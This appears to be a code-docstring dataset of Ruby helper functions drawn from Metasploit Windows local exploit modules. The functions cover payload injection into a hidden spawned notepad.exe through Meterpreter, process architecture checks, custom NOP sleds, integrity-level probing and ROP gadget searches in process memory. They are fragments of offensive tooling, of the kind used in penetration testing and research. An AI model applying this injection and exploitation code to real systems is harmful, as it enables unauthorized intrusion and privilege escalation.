MIT
def encode_bytes(raw_bytes) encoded_bytes = "" 0.step(raw_bytes.length-1, 2) { |i| encoded_bytes << raw_bytes[i+1] encoded_bytes << raw_bytes[i] } return encoded_bytes end
encode our string like unicode except we are not using nulls
encode_bytes
ruby
hahwul/mad-metasploit
archive/exploits/windows/local/19519.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/19519.rb
MIT
def file_create(data) fname = datastore['FILENAME'] ltype = "exploit.fileformat.#{self.shortname}" if ! ::File.directory?(Msf::Config.local_directory) FileUtils.mkdir_p(Msf::Config.local_directory) end path = File.join(Msf::Config.local_directory, fname) full_path = ::File.expand_path(path) File.open(full_path, "wb") { |fd| fd.write(data) } report_note(:data => full_path.dup, :type => "#{ltype}.localpath") print_good "#{fname} stored at #{full_path}" end
Overriding file_create to allow the creation of a file without extension
file_create
ruby
hahwul/mad-metasploit
archive/exploits/windows/local/20109.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/20109.rb
MIT
def exploit @payload_name = datastore['PAYLOAD'] @payload_arch = framework.payloads.create(@payload_name).arch # syinfo is only on meterpreter sessions print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil? pid = get_pid if not pid print_error("Unable to get a proper PID") return end if @payload_arch.first =~ /64/ and client.platform =~ /x86/ print_error("You are trying to inject to a x64 process from a x86 version of Meterpreter.") print_error("Migrate to an x64 process and try again.") return false else inject_into_pid(pid) end end
Run Method for when run command is issued
exploit
ruby
hahwul/mad-metasploit
archive/exploits/windows/local/24366.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/24366.rb
MIT
def get_pid pid = datastore['PID'] if pid == 0 or datastore['NEWPROCESS'] or not has_pid?(pid) print_status("Launching notepad.exe...") pid = create_temp_proc end return pid end
Figures out which PID to inject to
get_pid
ruby
hahwul/mad-metasploit
archive/exploits/windows/local/24366.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/24366.rb
MIT
def arch_check(pid) # get the pid arch client.sys.process.processes.each do |p| # Check Payload Arch if pid == p["pid"] vprint_status("Process found checking Architecture") if @payload_arch.first == p['arch'] vprint_good("Process is the same architecture as the payload") return true else print_error("The PID #{ p['arch']} and Payload #{@payload_arch.first} architectures are different.") return false end end end end
Checks the Architeture of a Payload and PID are compatible Returns true if they are false if they are not
arch_check
ruby
hahwul/mad-metasploit
archive/exploits/windows/local/24366.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/24366.rb
MIT
def create_temp_proc() windir = client.fs.file.expand_path("%windir%") # Select path of executable to run depending the architecture if @payload_arch.first== "x86" and client.platform =~ /x86/ cmd = "#{windir}\\System32\\notepad.exe" elsif @payload_arch.first == "x86_64" and client.platform =~ /x64/ cmd = "#{windir}\\System32\\notepad.exe" elsif @payload_arch.first == "x86_64" and client.platform =~ /x86/ cmd = "#{windir}\\Sysnative\\notepad.exe" elsif @payload_arch.first == "x86" and client.platform =~ /x64/ cmd = "#{windir}\\SysWOW64\\notepad.exe" end begin proc = client.sys.process.execute(cmd, nil, {'Hidden' => true }) rescue Rex::Post::Meterpreter::RequestError return nil end return proc.pid end
Creates a temp notepad.exe to inject payload in to given the payload Returns process PID
create_temp_proc
ruby
hahwul/mad-metasploit
archive/exploits/windows/local/24366.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/24366.rb
MIT
def make_nops(count) return "\x43" * count # 0x43 => inc ebx end
Rewrote it because make_nops is ignoring SaveRegisters and corrupting ESP.
make_nops
ruby
hahwul/mad-metasploit
archive/exploits/windows/local/25448.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/25448.rb
MIT
def low_integrity_level? tmp_dir = expand_path("%TEMP%") cd(tmp_dir) new_dir = "#{rand_text_alpha(5)}" begin session.shell_command_token("mkdir #{new_dir}") rescue return true end if directory?(new_dir) session.shell_command_token("rmdir #{new_dir}") return false else return true end end
Test the process integrity level by trying to create a directory on the TEMP folder Access should be granted with Medium Integrity Level Access should be denied with Low Integrity Level Usint this solution atm because I'm experiencing problems with railgun when trying use GetTokenInformation
low_integrity_level?
ruby
hahwul/mad-metasploit
archive/exploits/windows/local/25725.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/25725.rb
MIT
def search_gadget(base, offset_start, offset_end, pattern) mem = base + offset_start length = offset_end - offset_start mem_contents = session.railgun.memread(mem, length) return mem_contents.index(pattern) end
Search a gadget identified by pattern on the process memory
search_gadget
ruby
hahwul/mad-metasploit
archive/exploits/windows/local/25725.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/25725.rb
MIT